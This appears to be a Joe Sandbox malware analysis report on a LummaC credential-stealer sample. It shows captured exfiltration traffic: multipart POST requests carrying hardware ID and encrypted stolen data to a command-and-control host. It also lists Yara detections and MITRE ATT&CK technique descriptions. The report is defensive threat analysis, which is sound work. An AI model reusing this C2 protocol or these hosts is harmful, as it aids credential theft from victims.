cfL4;desc="?proto=TCP&rtt=1438&min_rtt=1425&rtt_var=560&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=2128&delivery_rate=1908496&cwnd=192&unsent_bytes=0&cid=d6830a7c6456f1af&ts=858&x=0"
2024-12-28 09:04:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 09:04:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49732	172.67.157.254	443	3732	C:\Users\user\Desktop\XYQ1pqHNiT.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:04:21 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DBLZYT23OQLNZY47 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552601 Host: lev-tolstoi.com
2024-12-28 09:04:21 UTC	15331	OUT	Data Raw: 2d 2d 44 42 4c 5a 59 54 32 33 4f 51 4c 4e 5a 59 34 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 37 45 35 46 37 41 44 43 35 33 34 31 32 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 44 42 4c 5a 59 54 32 33 4f 51 4c 4e 5a 59 34 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 42 4c 5a 59 54 32 33 4f 51 4c 4e 5a 59 34 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 44 42 Data Ascii: --DBLZYT23OQLNZY47Content-Disposition: form-data; name="hwid"267E5F7ADC53412BBEBA0C6A975F1733--DBLZYT23OQLNZY47Content-Disposition: form-data; name="pid"1--DBLZYT23OQLNZY47Content-Disposition: form-data; name="lid"PsFKDg--pablo--DB
2024-12-28 09:04:21 UTC	15331	OUT	Data Raw: 81 91 b6 a4 81 6f 5d 43 f2 fb 32 88 0a a9 27 15 75 50 8c 87 94 36 e6 2c 86 a2 01 3d 66 a9 fa a9 09 63 71 a9 36 e3 9c 13 c4 30 90 42 30 ed e5 94 4c 87 3c 1c 88 4d e3 dc 36 35 8c 13 cd 76 a8 e0 91 6d 83 29 a2 bb 65 1a 54 3f ce c7 b4 88 b2 ff 8c 98 82 3d 52 b4 cb db 50 ec e8 1e b5 94 1f 1d 97 b6 bb ae cb 46 04 27 68 51 ab a0 e3 05 6e 50 56 fb 76 b7 9b 07 ef 8d 37 f8 21 ba 1e 27 69 a9 59 6f 31 b6 46 7e 43 71 56 7f b5 f4 94 f1 09 0b 07 29 0a 89 91 85 88 ca 55 8d d9 bc 15 e0 77 80 aa 0c 05 11 c0 cc 00 9a c5 b1 1d bd fc a7 69 68 99 9c 1d 44 9a 68 ac ff 9c d2 c6 9d 30 ba f9 be 5b 22 36 e0 52 6b 6a a4 69 44 f8 00 cf d9 83 54 88 34 d7 7f ff 99 e5 19 9d ab 2b 90 4b a7 65 7d 66 64 fd cf 0f 37 78 36 cc 5a 14 a9 0a 63 a3 45 13 53 39 8c a4 ce 24 b6 b7 a3 f9 78 5d 3c 57 Data Ascii: o]C2'uP6,=fcq60B0L<M65vm)eT?=RPF'hQnPVv7!'iYo1F~CqV)UwihDh0["6RkjiDT4+Ke}fd7x6ZcES9$x]<W
2024-12-28 09:04:21 UTC	15331	OUT	Data Raw: 08 0e c3 83 39 f1 08 df ff 37 e1 18 7f c3 c7 66 c1 05 90 4b 54 4f 3b b3 9d 02 8a cc 18 54 7e 70 78 fe cc 19 83 78 7d 75 6c e8 bf 9c 85 10 5f 27 1a 74 80 f5 07 44 b5 1d 1f 2f f9 28 ff e4 4f c1 92 8b e2 7b 0a 44 a1 8b a0 d5 4d f6 c1 ef 7f 57 ec f3 24 cf 6d a3 99 dd 7f 12 b5 80 4f 82 20 85 0f da c3 2b b8 02 ae 8f 38 dd dc 39 35 cf 6e fa 47 93 b8 02 c5 6e 05 f0 af 8c 46 81 64 04 bc ef c4 7d 8c d0 44 bc 4d 97 a4 f2 56 ae 9f 50 01 99 61 88 aa 59 bc 76 94 94 0e cf e2 4b 91 24 ad 36 36 50 65 33 0b 59 cb 0a 69 58 29 d1 ec 7a df 69 0d ee 27 bc 7a 07 2f 8f 62 81 30 f7 d6 cb f7 17 31 a9 4b 4a 37 7b f0 1a ae c0 04 d0 95 12 33 33 1b 8c 2a 50 1e 98 d4 a9 a1 28 3b c4 a6 eb d8 be 57 98 da e9 5a cb f9 a3 3e 3a a6 bc cb d6 15 35 2e 5f 70 09 ff e2 33 43 fc 3d 33 ed ed 3f 42 Data Ascii: 97fKTO;T~pxx}ul_'tD/(O{DMW$mO +895nGnFd}DMVPaYvK$66Pe3YiX)zi'z/b01KJ7{33*P(;WZ>:5._p3C=3?B
2024-12-28 09:04:21 UTC	15331	OUT	Data Raw: 46 21 ef 81 49 72 40 39 7a 73 a3 46 5f 10 cc 3d 2e a7 b7 07 61 2a ea 20 4a d5 ff a6 c9 5c e8 39 c6 09 3d 8b dc 6b 7c fd 91 b8 f4 a5 cc 38 fc 17 a1 5a 13 4d 33 83 89 80 68 1f f5 da 55 8e f2 3a 69 26 92 8c a2 0d 99 d0 2e 41 14 19 8c a7 10 47 39 37 f4 f3 ac bb 1b d4 ad c4 f1 1a 0b fa 75 79 bc b3 20 ca c5 9d 5b 7c a0 e0 22 10 40 53 b9 81 c7 7f 0d 24 7f b4 5d d6 63 1b c2 55 28 ab 50 79 ea 7e 24 62 58 6a 2e e1 43 25 e3 81 3d 23 37 96 98 b6 ca d9 8b fc e3 df e3 1c e6 ce 14 e9 25 37 28 cb 1f 37 81 6a fc f1 85 d0 81 aa 13 03 98 0e 34 53 72 e3 db 63 6b 73 62 77 19 e6 53 25 86 8b c3 ff 55 66 fa 72 ee 03 27 7f b6 71 b7 6a 7c 30 55 a3 1e 8b 23 b6 8c e2 ef 3d a0 e8 e3 53 8e d0 52 fb 2d 8d 65 68 b2 13 c8 7e 8c 95 33 b8 cd 41 1c c9 fc 62 42 1b 39 a4 82 b3 30 68 a8 34 68 Data Ascii: F!Ir@9zsF_=.a* J\9=k\|8ZM3hU:i&.AG97uy [\|"@S$]cU(Py~$bXj.C%=#7%7(7j4SrcksbwS%Ufr'qj\|0U#=SR-eh~3AbB90h4h
2024-12-28 09:04:21 UTC	15331	OUT	Data Raw: a6 94 98 92 a5 81 84 5e e6 65 51 a2 db ee 88 61 e1 bb 75 1b c7 c8 98 bd 2d a5 40 fb 47 02 8c 4a 1a 2f d9 31 da 87 18 bb fe 77 28 d6 0a 3e 33 7c 05 de 4e dc 27 15 2b d1 b9 83 49 b3 9d 7e 11 f4 91 d2 33 e3 14 5f 8d 04 6c f4 ea ff 5f c6 0d 03 c5 76 28 5a 76 12 70 23 d3 1f 23 dc 85 e2 6d 00 28 de 22 14 5e b6 99 5a 44 e1 39 6e f9 e2 e4 f6 de d9 10 19 a4 8c cc fc d6 40 eb 6c 37 9c ef fa 82 45 aa e5 99 6d 84 75 cf ee 4d 34 fb 20 2b 1d 19 72 05 c9 d5 62 f1 5a 6d 3b d1 82 c8 aa 21 6d 78 bf 57 f3 56 c3 30 56 10 9a 36 af 24 6a f0 ef 93 5d a4 5c 34 21 a1 48 92 92 1b 8b 12 93 b2 bf d3 23 51 bb 73 05 a4 74 7c cb 71 4a db 56 09 cd ca 31 4a 27 a7 8d d4 8a b9 56 90 ba 28 b8 e2 b3 21 ab 50 8b 89 ee 16 ce 03 56 23 b2 fd 11 e2 fb 0e 62 d2 82 59 db f4 34 d2 23 78 7c 9e 5f 60 Data Ascii: ^eQau-@GJ/1w(>3\|N'+I~3_l_v(Zvp##m("^ZD9n@l7EmuM4 +rbZm;!mxWV0V6$j]\4!H#Qst\|qJV1J'V(!PV#bY4#x\|_`
2024-12-28 09:04:21 UTC	15331	OUT	Data Raw: 95 fe c0 2e 31 6c 6b cb 44 94 98 e5 74 0e 53 21 c9 c8 05 1d 37 d6 fe 76 7b 0a 67 46 91 79 30 aa 53 92 bb 03 3f 64 46 2f 7b 9b e7 c5 e5 97 ef 06 c8 7b e1 5c 79 8a a3 8c 1b 48 5e e8 ee 15 3c 99 84 a5 86 f0 49 68 3d ef 57 1b c7 7c f2 15 54 67 8a 49 85 69 00 e6 b8 a0 45 45 91 13 23 cf 3e ee 8d ec 20 bd d0 96 87 6b d1 bb 6e e5 81 18 eb 33 e1 d6 dc 58 72 d5 ec 54 6c f2 49 05 d9 fb 75 b1 e2 d4 f8 35 8e 81 08 e1 13 37 48 51 97 e8 62 27 9a 16 b3 85 4e d8 47 fe 2c 33 67 98 07 b9 f1 18 77 ed 3e 16 c5 1f 3c b5 f6 8e be da 40 50 3f 86 b6 aa 97 cd f8 47 1c 9e fd 3b 7c a0 d9 a6 12 2c 3b e8 86 c6 46 c3 15 3d 41 37 45 7a b3 ff d3 be e3 e1 f6 f6 f6 a6 27 a7 d9 09 b1 d9 3f ce 9d 62 ea 67 9d 63 14 5c 5c f8 62 c2 df 14 af 75 be b5 84 29 42 1e 5a c3 1b 49 7d 63 74 84 2c f6 a1 Data Ascii: .1lkDtS!7v{gFy0S?dF/{{\yH^<Ih=W\|TgIiEE#> kn3XrTlIu57HQb'NG,3gw><@P?G;\|,;F=A7Ez'?bgc\\bu)BZI}ct,
2024-12-28 09:04:21 UTC	15331	OUT	Data Raw: ba 11 76 7e 7f 9d db f6 37 b3 47 03 5f 2e 5d f7 4f 47 de 2f de fb 2e b2 48 73 b1 48 54 4e 0e 26 24 53 4a 3b 0f 60 0f 14 23 e3 df de 19 cd f4 0c 23 87 9e d3 d5 f2 0e 93 d8 6b f6 32 36 49 9c b3 60 0d 6e 65 9c 3c 6a 52 74 d7 87 b7 c7 b3 ef cf 85 2f 7e 9f fe 09 3e 2b e7 30 ff 7c e8 ec fa 85 52 b1 fe e3 25 99 59 77 c3 69 3f aa f6 0e 75 66 6e a1 b8 dc b4 16 96 48 45 43 6e a9 8a 5a ee ab b7 f9 d6 fd 7d df 7c a3 97 49 7a cc ff f5 05 d1 30 e3 e7 b5 f1 a6 bf 94 6f 1d 87 dc 16 e7 2b b0 5f 37 4b ea ff fb dc fc b7 ab 5d 35 92 4e 85 bd 83 a5 b9 89 35 1d 36 5d 3e 28 f5 de e7 fd 70 84 29 ac be 68 bf 33 f0 c0 5d d2 5b af 5d 4d 08 dd 6a 3d 9f a4 e6 f7 66 46 cb 51 28 8b ba e8 56 e8 ff 66 c6 c6 69 39 d7 da 29 a8 74 e9 ca 76 b1 ad 53 50 c5 f4 2b 98 2a b3 76 48 ad f4 7d 7f a2 Data Ascii: v~7G_.]OG/.HsHTN&$SJ;`##k26I`ne<jRt/~>+0\|R%Ywi?ufnHECnZ}\|Iz0o+_7K]5N56]>(p)h3][]Mj=fFQ(Vfi9)tvSP+*vH}
2024-12-28 09:04:21 UTC	15331	OUT	Data Raw: cd 34 2a 3f 84 ba be 89 49 a6 64 ae b8 73 1e 05 d9 8c b4 c6 f0 2e a3 93 4d e4 e4 4d 1b 12 49 24 42 7d 83 a7 dd 65 ac 06 1f 9e 1e 41 8c 43 b8 cd 89 aa 92 a8 86 86 bf c4 5d 53 28 38 d6 d4 9e 92 62 ce 4f b6 67 0e 02 3f a1 9c c9 f7 63 96 93 5c e7 63 37 6e 7f 88 89 db 31 46 85 47 05 a3 e0 32 42 d4 e4 71 89 fc c5 fe 40 ef 84 3b 7f fa 5c a2 e1 c3 b1 9c c0 9d b0 ad 92 c2 dd 7b fe e0 3e 55 83 e8 bb 51 c1 ca 6b 56 45 89 88 fb 12 43 17 81 ab 7c ad d0 b5 af ef c4 d4 6b 0c f6 df 71 f2 63 76 8c ba 5c ab c1 6d 1c 63 b9 8d 3a 7d 5b b6 41 43 c7 0d 5b 36 c3 ad 91 40 90 7d e0 df 7b 76 47 d4 54 c1 2b c4 8b 16 b7 ca 51 84 be b3 54 77 83 7e bd 0c e9 b2 f7 c6 ce c7 f1 d7 3c ad a5 53 75 95 95 7e 5e 95 80 30 48 c9 78 c9 58 96 72 1f 9d 44 cc 49 7b df 5b 98 09 6e ea f9 29 48 66 a6 Data Ascii: 4*?Ids.MMI$B}eAC]S(8bOg?c\c7n1FG2Bq@;\{>UQkVEC\|kqcv\mc:}[AC[6@}{vGT+QTw~<Su~^0HxXrDI{[n)Hf
2024-12-28 09:04:21 UTC	15331	OUT	Data Raw: fb b4 71 c7 94 a3 17 e6 bb dc 79 2f c1 1d 62 8a c2 b6 28 ee cb 1f 8e 10 a1 99 3c ce ad 5f 60 47 7d 48 28 f6 17 2b b3 40 90 4d 37 c0 0a 81 41 d2 45 7d 93 25 3e 26 30 54 d4 6a 62 c3 dd d4 80 fa f4 b0 1b 39 19 e1 9a d3 b4 1a c9 ff 27 ce cb 9d f6 c0 76 ea f3 f4 f4 84 3e db 5b 80 a5 43 7c 94 69 ba 9e 82 c7 0b 79 dd c0 12 a3 b2 10 a4 53 81 27 4f 46 87 aa cd 05 42 5c bf df 03 54 f6 a8 e8 d7 20 e6 e6 02 7b 99 9c 88 d2 37 d5 bf 96 bd d5 ea 4a 75 1a 76 61 5f 37 3b a9 7a be 52 4d f7 c2 fc ff 8e 91 48 d3 85 3e 5b fd 6e 60 0e 00 d0 7a 15 94 b1 cf 3e 75 8e f9 15 c5 58 bb dd f5 e4 e2 8d 0d 9e e8 f6 1e 89 c2 23 97 26 3a f3 8a 4a d9 25 6e 1f 4f 79 f6 2c 33 c5 14 2b 42 c2 12 d1 29 05 a1 06 42 6d 93 22 22 44 ea 60 f3 d7 e3 51 0b 8f c8 45 91 dc 17 35 ff 0e 73 57 a0 ce fc ef Data Ascii: qy/b(<_`G}H(+@M7AE}%>&0Tjb9'v>[C\|iyS'OFB\T {7Juva_7;zRMH>[n`z>uX#&:J%nOy,3+B)Bm""D`QE5sW
2024-12-28 09:04:21 UTC	15331	OUT	Data Raw: 02 25 ff 1f ab f2 d4 5d 5d 5a b9 ed 92 09 72 ee c9 ef 7b ba 11 26 af f4 40 d9 f8 9f 07 38 10 76 13 15 bc 75 97 a0 d1 f6 3e e5 23 ee 45 ba a2 48 35 c9 3e 09 61 1b 2c 14 63 43 9d f7 d6 f8 a9 f7 6b 34 de b9 4a 7c 73 1d cf e7 bf f2 a3 b2 fa 43 8d 43 6f 56 7d 6c 24 af 85 c8 a6 57 02 77 4d 23 4e e4 70 b9 d3 9a f8 75 d2 f5 27 29 15 77 83 45 22 86 57 ad 7d 38 11 a6 af b8 c9 17 cf 0e f8 1c e5 a7 72 13 21 8e cf f3 35 2d cc 83 c4 77 85 a5 d1 8c fb f7 99 85 8b 2f 3e 5f 47 3a 4a 81 fc 6d d0 44 a9 c8 33 05 d0 dd 0a f1 a3 59 53 78 29 7e c3 c2 f0 6e ba 70 b7 b6 c8 91 15 f7 57 8a cf 3e 42 dd 10 be f3 40 d8 ce 4f 08 72 a6 82 ac 62 f4 8b 1e e7 cc 88 13 8a 87 0c cd da 11 b5 41 a0 e8 d9 13 3e 83 4d e5 9b d2 e4 32 68 de 6d bd 63 43 17 a4 d6 19 ec 26 18 73 b4 70 d2 a4 55 18 03 Data Ascii: %]]Zr{&@8vu>#EH5>a,cCk4J\|sCCoV}l$WwM#Npu')wE"W}8r!5-w/>_G:JmD3YSx)~npW>B@OrbA>M2hmcC&spU
2024-12-28 09:04:25 UTC	1137	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 09:04:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p90o2lk1o4uc1d3lf7pgso20d6; expires=Wed, 23 Apr 2025 02:51:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QLX9ovEQysuwZitjfmCWpFW20MrB4PpWxb0WlR%2F98%2BN28Fhnt6ofI%2BzEFlLf9l1SsoYdyD0FVUzE9rBotzbnr3%2FIBltCC0T5uxsTc4ecc0LWzrB%2BxzsUoQlc%2ByavQkLPKik%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9061e6fe1e0ca6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1682&min_rtt=1676&rtt_var=640&sent=333&recv=574&lost=0&retrans=0&sent_bytes=2835&recv_bytes=555101&delivery_rate=1692753&cwnd=221&unsent_bytes=0&cid=23ae0f29b2ec16ba&ts=3878&x=0"

Target ID:	0
Start time:	04:03:55
Start date:	28/12/2024
Path:	C:\Users\user\Desktop\XYQ1pqHNiT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\XYQ1pqHNiT.exe"
Imagebase:	0xcc0000
File size:	1'792'512 bytes
MD5 hash:	1B99C467986CF6D65D3C4D3ED83B0479
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report XYQ1pqHNiT.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
XYQ1pqHNiT.exe